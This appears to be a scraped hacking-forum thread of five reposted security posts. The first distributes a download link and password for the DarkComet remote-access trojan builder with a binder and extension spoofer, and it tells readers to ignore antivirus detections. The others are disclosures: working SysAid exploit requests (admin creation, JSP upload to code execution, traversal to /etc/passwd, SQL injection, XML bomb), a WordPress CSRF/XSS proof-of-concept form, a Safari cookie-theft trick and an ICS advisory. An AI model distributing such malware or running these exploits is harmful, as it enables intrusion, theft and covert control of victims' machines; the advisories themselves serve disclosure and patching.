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  1. So I decided to share with you guys this little "collection" of the DarkComet RAT I had. Its from versions 4.0 to 5.3.1 - To be honest, for me those were the best versions of DarkComet. Extra items added: Celesty Binder: Pictures of Celesty Binder: Extension Spoofer: IF OR WHEN YOU DO DECIDE TO MAKE A VIRUS SCAN. PLEASE NOTE THAT DARKCOMET BUILDS VIRUSES, A POWERFUL ONE. DO NOT COME TO ME OR TO THIS THREAD TO POST SUCH THINGS AS, "It's infected! don't download. I scanned it on Virustotal and it was detected as malware!". OF COURSE IT WAS, BECAUSE IT BUILDS THEM. [*] Those are known as "false-positive" just to let you know. Unless if whatever other malicious buidling program you download(ed) really is backdoored. [*] And for your safety, I will provide you all with a very, and I mean VERY helpful tool(s). This site is trusted, and it has tools that will probably safe your computer from skids that are learning how to use RATs, you don't need to buy these tools, they are completely free.. It also has other cool stuff like some legal keyloggers if you wanna check them out. Download for the DarkComet RAT 4.0 - 5.3.1 Full Versions: http://tinyurl.com/l9u8xxz +And as always, be careful with downloads out there, hopefuly you knowing what they are capable of doing from this RAT you'll be more safe. And also remember that the DarkComet remover is only for DarkComet RATs only!, not for any other RATs.. This also has no match against a crypted STUB. password to the file: powersafe Source: HackForums
  2. Hi, tl;dr Found lots of vulns in SysAid Help Desk 14.4, including RCE. SysAid have informed me they all have been fixed in 15.2, but no re-test was performed. Full advisory below, and a copy can be obtained at [1]. 5 Metasploit modules have been released and currently awaiting merge in the moderation queue [2]. Regards, Pedro [1]: https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt [2]: https://github.com/rapid7/metasploit-framework/pull/5470 https://github.com/rapid7/metasploit-framework/pull/5471 https://github.com/rapid7/metasploit-framework/pull/5472 https://github.com/rapid7/metasploit-framework/pull/5473 https://github.com/rapid7/metasploit-framework/pull/5474 >> Multiple vulnerabilities in SysAid Help Desk 14.4 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Disclosure: 03/06/2015 / Last updated: 03/06/2015 >> Background on the affected product: "SysAid is an ITSM solution that offers all the essentials, with everything you need for easy and efficient IT support and effective help desk operations. Its rich set of features includes a powerful service desk, asset management and discovery, self-service, and easy-to-use tools for understanding and optimizing IT performance." Metasploit modules that exploit #1, #2, #3, #4, #5 and #6 have been released and should be integrated in the Metasploit framework soon. All vulnerabilities affect both the Windows and Linux versions unless otherwise noted. >> Technical details: 1) Vulnerability: Administrator account creation CVE-2015-2993 (same CVE as #10) Constraints: none; no authentication or any other information needed Affected versions: unknown, at least 14.4 GET /sysaid/createnewaccount?accountID=1337&organizationName=sysaid&userName=mr_lit&password=secret&masterPassword=master123 This creates an account with the following credentials: mr_lit:secret Note that this vulnerability only seems to be exploitable ONCE! Subsequent attempts to exploit it will fail even if the tomcat server is restarted. 2) Vulnerability: File upload via directory traversal (authenticated; leading to remote code execution) CVE-2015-2994 Constraints: valid administrator account needed (see #1 to create a valid admin account) Affected versions: unknown, at least 14.4 POST /sysaid/ChangePhoto.jsp?isUpload=true HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------81351919525780 -----------------------------81351919525780 Content-Disposition: form-data; name="activation"; filename="whatevs.jsp" Content-Type: application/octet-stream <html><body><%out.println(System.getProperty("os.name"));%></body><html> -----------------------------81351919525780-- The response returns a page which contains the following: var imageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp?1422276751501"; var thumbUrl = "icons/user_photo/14222767515000.1049804910604456_temp_thumb.jsp?1422276751501"; if(imageUrl != null && $.trim(imageUrl).length > 0) { document.getElementById("cropbox").src = imageUrl; document.getElementById("preview").src = thumbUrl; parent.glSelectedImageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp"; Go to http://<server>/sysaid/icons/user_photo/14222767515000.1049804910604456_temp.jsp to execute the JSP. 3) Vulnerability: File upload via directory traversal (unauthenticated; leading to remote code execution) CVE-2015-2995 Constraints: no authentication or any other information needed. The server has to be running Java 7u25 or lower. This is because Java 7u40 (FINALLY!) rejects NULL bytes in file paths. See http://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846 for more details. Affected versions: unknown, at least 14.3 and 14.4 POST /sysaid/rdslogs?rdsName=../../../../sample.war%00 <... WAR payload here ...> 4) Vulnerability: Arbitrary file download CVE-2015-2996 (same CVE as #8) Constraints: none; no authentication or any other information needed (see #5 to obtain the traversal path) Affected versions: unknown, at least 14.4 GET /sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd 5) Vulnerability: Path disclosure CVE-2015-2997 Constraints: none; no authentication or any other information needed Affected versions: unknown, at least 14.4; only works on the Linux version POST /sysaid/getAgentLogFile?accountId=<traversal>&computerId=<junk characters> Metasploit PoC: large_traversal = '../' * rand(15...30) servlet_path = 'getAgentLogFile' res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))), 'ctype' => 'application/octet-stream', 'vars_get' => { 'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)), 'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) } }) The response (res.body.to_s) will be similar to: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD><TITLE>Error</TITLE></HEAD> <BODY> <H1>Internal Error No#14</H1> <H2>/var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../bla.war/111.war/1421678611732.zip (Permission denied)</H2> </BODY></HTML> The tomcat path is revealed between the H2 tags. 6) Vulnerability: Use of hard-coded cryptographic key CVE-2015-2998 Constraints: N/A Affected versions: unknown, at least 14.4 SysAid Help Desk uses a hard-coded encryption key and encryption parameters. If this is combined with an arbitrary file download vulnerability (such as #4), a malicious user can then decrypt the database password by downloading the WEB-INF/conf/serverConf.xml file. Algorithm: DES password based encryption with MD5 hash Key: "inigomontoya" Salt: [-87, -101, -56, 50, 86, 53, -29, 3] Iterations: 19 7) Vulnerability: SQL injection in genericreport, HelpDesk.jsp and RFCGantt.jsp CVE-2015-2999 Constraints: valid administrator account needed Affected versions: unknown, at least 14.4 a) POST /sysaid/genericreport HTTP/1.1 action=execute&reportName=AssetDetails&scheduleReportParm=null&reportTitle=Asset+Details&company=0&filter=group&groupFilter='&assetID=&assetName=Click+Browse+to+choose&expressionCaption=&customExpression=&customSQL=&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+06%3A27&reRunEvery=2&user1=admin Parameters: groupFilter action=execute&reportName=TopAdministratorsByAverageTimer&scheduleReportParm=null&reportTitle=Administrators+with+the+longest+SRs+time+%28average%29&sr_types=1&company=0&timer=1&expressionCaption=&customExpression=&customSQL=select+*+from+bla&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&NumRecords=5&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A03&reRunEvery=2&user1=admin&groupingSelection=Administrator&groupingSelectionName=Administrators&subGroupingSelection=AverageTimer&Activity=no Parameters: customSQL action=execute&reportName=ActiveRequests&scheduleReportParm=null&assetID=&reportTitle=Active+Records&category=000ALL&subcategory=000ALL&thirdLevelCategory=000ALL&sr_types=1&company=0&groupFilter=ALL&expressionCaption=&customExpression=&customSQL='&groupingSelection=Category&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A08&reRunEvery=2&user1=admin Parameters: customSQL (3 different payloads are shown because the reportName parameter seems to change which parameters have the injection) POST /sysaid/HelpDesk.jsp?helpdeskfrm&fromId=List&ajaxStyleList=YE resizeListViewDataArr=AccordionChange&fieldNameChangeState=&tabID=42&actionInfo=&builtFilter=&weightChangeNoAjax=&sort=r.id&dir=asc'&pageNo=1&showAll=0&toggleAll=0&isAccordion=0&calSearch=0&expandAll=0&action=&performAction=&${list.SrTypeFilter}hidden=&${list.category.caption}hidden=&${list.subCategory.caption}hidden=&${list.status.caption}hidden=&${list.requestUser.caption}hidden=&${list.assigned.to.caption}hidden=&${list.priority.caption}hidden=&selection=&selectionDisplay=&saveSelection=1&searchField=Search%20%20%20&dateType=&fromDate=&toDate=&ajaxShown=&multipleSelectionComboboxSet=SetMultipleSelectionCombobox&multipleSelectionComboboxStatus=&multipleSelectionComboboxPriority=&multipleSelectionComboboxAssignedTo= Parameter: dir c) POST /sysaid/RFCGantt.jsp HTTP/1.1 listName=Service+Requests+All&toInvalid=%27To+date%27+field+contains+an+invalid+value%21&fromInvalid=%27From+date%27+field+contains+an+invalid+value%21&listViewName=DEFAULT&ids=&flag=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&page=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&parentPageName=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&computerID=null&ciId=null&returnToFunction=&srType=&ganttSQL=$select+*+from+ble;$SELECT+r.id,+r.sr_type,+r.account_id,+priority,+escalation,+status,+r.request_user,r.due_date,r.title,r.problem_type,r.problem_sub_type,r.sr_type,r.sr_weight,r.responsibility,r.responsible_manager,r.assigned_group+,+r.id,+r.id,+r.sr_type,+r.problem_type,r.problem_sub_type,r.third_level_category,+r.problem_sub_type,+r.title,+r.status,+r.request_user,+r.responsibility,+r.priority,+r.insert_time+from+service_req+r+++WHERE+r.account_id+%3d+%3f&lookupListName=&scrollPopup=NO&iframeID=null&paneCancelFunc=&filter=+AND+%28archive+%3D+0%29+&fromDate=null&toDate=null&isWeight=true Accepts injection between $$ in ganttSQL parameter. 8) Vulnerability: Denial of service CVE-2015-2996 (same CVE as #4) Constraints: no authentication or any other information needed Affected versions: unknown, at least 14.4 GET /sysaid/calculateRdsFileChecksum?fileName=../../../../../../dev/zero This request will cause the cpu to go to 100% and the memory to balloon for 30+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever). 9) Vulnerability: XML Entity Expansion (leading to denial of service) CVE-2015-3000 Constraints: no authentication or any other information needed Affected versions: unknown, at least 14.4 a) POST /sysaid/agententry?deflate=0 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> POST /sysaid/rdsmonitoringresponse <lol bomb in POST data> c) POST /sysaid/androidactions <lol bomb in POST data> These requests will cause the cpu to go to 100% and the memory to baloon for 10+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever). 10) Vulnerability: Uncontrolled file overwrite CVE-2015-2993 (same CVE as #1) Constraints: no authentication or any other information needed Affected versions: unknown, at least 14.4 GET /sysaid/userentry?accountId=1337&rdsName=bla&fileName=../../../service.htm This will overwrite the file with "SysAid". This string is fixed and cannot be controlled by the attacker. 11) Vulnerability: Use of hard-coded password for the SQL Server Express administrator account CVE-2015-3001 Constraints: N/A Affected versions: unknown, at least 14.4 When installing SysAid on Windows with the built in SQL Server Express, the installer sets the sa user password to "Password1". >> Fix: Upgrade to version 15.2 or higher. Source
  3. https://wordpress.org/plugins/yet-another-related-posts-plugin/ Affected Versions <= 4.2.4 Description 'Yet Another Related Posts Plugin' options can be updated with no token/nonce protection which an attacker may exploit via tricking website's administrator to enter a malformed page which will change YARPP options, and since some options allow html the attacker is able to inject malformed javascript code which can lead to *code execution/administrator actions* when the injected code is triggered by an admin user. injected javascript code is triggered on any post page. Vulnerability Scope XSS RCE ( http://research.evex.pw/?vuln=14 ) Authorization Required None Proof of Concept <body onload="document.getElementById('payload_form').submit()" > <form id="payload_form" action="http://wpsite.com/wp-admin/options-general.php?page=yarpp" method="POST" > <input type='hidden' name='recent_number' value='12' > <input type='hidden' name='recent_units' value='month' > <input type='hidden' name='threshold' value='5' > <input type='hidden' name='weight[title]' value='no' > <input type='hidden' name='weight[body]' value='no' > <input type='hidden' name='tax[category]' value='no' > <input type='hidden' name='tax[post_tag]' value='consider' > <input type='hidden' name='auto_display_post_types[post]' value='on' > <input type='hidden' name='auto_display_post_types[/page][page]' value='on' > <input type='hidden' name='auto_display_post_types[attachment]' value='on' > <input type='hidden' name='auto_display_archive' value='true' > <input type='hidden' name='limit' value='1' > <input type='hidden' name='use_template' value='builtin' > <input type='hidden' name='thumbnails_heading' value='Related posts:' > <input type='hidden' name='no_results' value='<script>alert(1);</script>' > <input type='hidden' name='before_related' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_related' value='</li>' > <input type='hidden' name='before_title' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_title' value='</li>' > <input type='hidden' name='show_excerpt' value='true' > <input type='hidden' name='excerpt_length' value='10' > <input type='hidden' name='before_post' value='+<small>' > <input type='hidden' name='after_post' value='</small>' > <input type='hidden' name='order' value='post_date ASC' > <input type='hidden' name='promote_yarpp' value='true' > <input type='hidden' name='rss_display' value='true' > <input type='hidden' name='rss_limit' value='1' > <input type='hidden' name='rss_use_template' value='builtin' > <input type='hidden' name='rss_thumbnails_heading' value='Related posts:' > <input type='hidden' name='rss_no_results' value='No Results' > <input type='hidden' name='rss_before_related' value='<li>' > <input type='hidden' name='rss_after_related' value='</li>' > <input type='hidden' name='rss_before_title' value='<li>' > <input type='hidden' name='rss_after_title' value='</li>' > <input type='hidden' name='rss_show_excerpt' value='true' > <input type='hidden' name='rss_excerpt_length' value='10' > <input type='hidden' name='rss_before_post' value='+<small>' > <input type='hidden' name='rss_after_post' value='</small>' > <input type='hidden' name='rss_order' value='score DESC' > <input type='hidden' name='rss_promote_yarpp' value='true' > <input type='hidden' name='update_yarpp' value='Save Changes' > </form></body> Fix No Fix Available at The Moment. Timeline Notified Vendor - No Reply Notified Vendor Again- No Reply Publish Disclosure @evex_1337 [url]http://research.evex.pw/?vuln=15[/url]Homepage Source
  4. OVERVIEW ========== The 4/8/2015 security updates from Apple included a patch for a Safari cross-domain vulnerability. An attacker could create web content which, when viewed by a target user, bypasses some of the normal cross-domain restrictions to access or modify HTTP cookies belonging to any website. Most websites which allow user logins store their authentication information (usually session keys) in cookies. Access to these cookies would allow hijacking authenticated sessions. Cookies can also contain other sensitive information. All tested Safari versions on iOS, OS X, and Windows were vulnerable. The number of affected devices may be of the order of 1 billion. Technically, the attacker can spoof the âdocument.domainâ property. Itâs possible that this could lead to compromise of other resources apart from cookies. However, cookies was the only practical attack scenario found with the tested versions of Safari. The HttpOnly and Secure cookie flags represent an important mitigating factor albeit with some caveats (see below). DETAILS ======== Safari supports the FTP URL scheme allowing HTML documents to be accessed via URLs beginning with "ftp://". These URLs can be of the form [url]ftp://user:password@host/path[/url]. The problem arises when encoded special characters are used in the user or password parts. Consider the following URL: [url]ftp://user%40attacker.com%2Fexploit.html%23@apple.com/[/url] If correctly interpreted, the URL refers to a document on apple.com. However, when loaded by a vulnerable browser, the network layer uses an extraneously decoded version of the URL: [url]ftp://user@attacker.com/exploit.html#apple.com/[/url] The document would be loaded from attacker.com, not apple.com. Yet the document properties such as âdocument.domainâ and âdocument.cookieâ are correctly initialised using âapple.comâ. The attacker-supplied document, exploit.html, can therefore access and modify cookies belonging to apple.com via JavaScript. Itâs possible that cookies arenât the only resource accessible this way, but at least recent Safari versions (tested desktop only) use the document origin instead of only host or domain for most other access control, e.g. password autofilling and geolocation permissions. The attack can be performed on normal web pages by embedding an IFRAME pointing to an FTP URL. MITIGATING FACTORS =================== The cookie attack requires JavaScript so existing cookies with the HttpOnly flag canât be seen by the attacker. Support for this flag reportedly appeared in Safari 4. Earlier versions would be vulnerable even with the HttpOnly flag. Safari allows (over)writing of HttpOnly cookies so the flag doesnât prevent this vulnerability to be exploited for session fixation and similar attacks. Cookies with the Secure flag arenât accessible for documents loaded via FTP. VULNERABLE VERSIONS ===================== The following versions were tested and found vulnerable: - Safari 7.0.4 on OS X 10.9.3 - Safari on iPhone 3GS, iOS 6.1.6 - Safari on iOS 8.1 simulator - Safari 5.1.7 on Windows 8.1 Earlier versions werenât available for testing, but according to available statistics their usage should be negligible. SOLUTION ========= Apple was notified on January 27, 2015. The following patches were released in April 2015: - APPLE-SA-2015-04-08-3 iOS 8.3 - iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later - APPLE-SA-2015-04-08-1 Safari 8.0.5, Safari 7.1.5, and Safari 6.2.5 - OS X Mountain Lion, Mavericks, Yosemite For more information see: [url]https://support.apple.com/en-us/HT201222[/url] WORKAROUND ============= The attacker has to set up an FTP server or use an existing public one. Such server can run on any TCP/IP port number. One way to stop such attacks (e.g. for older devices with no available patch) would be to deny all traffic to the public internet and configure the device to use a HTTP proxy located in the internal network. This should prevent access to all FTP URLs. CREDITS ======== The vulnerability was found and researched by Jouko Pynn??nen of Klikki Oy, Finland. -- Jouko Pynnonen <jouko@iki.fi> Klikki Oy - [url=http://klikki.fi]Klikki Oy -[/url] - @klikkioy Source: http://packetstorm.wowhacker.com/1504-exploits/safari-crossdomain.txt
  5. http://trtpost.wpengine.netdna-cdn.com/files/2015/01/FTP_scada-680x400.jpg/img] The parade of easily exploitable, critical vulnerabilities in ICS software shows no signs of ending anytime soon, with the latest entrant being two flaws in Schneider Electric’s ETG3000 FactoryCast HMI Gateway that allow unauthenticated remote access to the device’s FTP server and configuration file. The vulnerabilities exist in numerous versions of the gateway, which is used in manufacturing, energy, water and other industries as a Web-based SCADA system. Schneider Electric, based in Paris, has pushed out an updated version of the firmware to fix these vulnerabilities, according to an advisory from ICS-CERT. “Access to the rde.jar file containing configuration details is accessible without authentication. This could allow an attacker access to information on the setup and configuration of the gateway,” the advisory says. The vulnerability in the FTP server that runs on the gateway is just as concerning. “The ftp server of the device has hard-coded credentials. This could allow the attacker to access the service without proper authentication,” the advisory says. The affected versions are: TSXETG3000 all versions, TSXETG3010 all versions, TSXETG3021 all versions, TSXETG3022 all versions. Schneider Electric’s update fixes the FTP bug by giving users the ability to disable the FTP server. However, the fix does not remove the hard-coded credentials for the FTP service. To address the configuration file access, the company recommends that customers change the default credentials for the config files. Source
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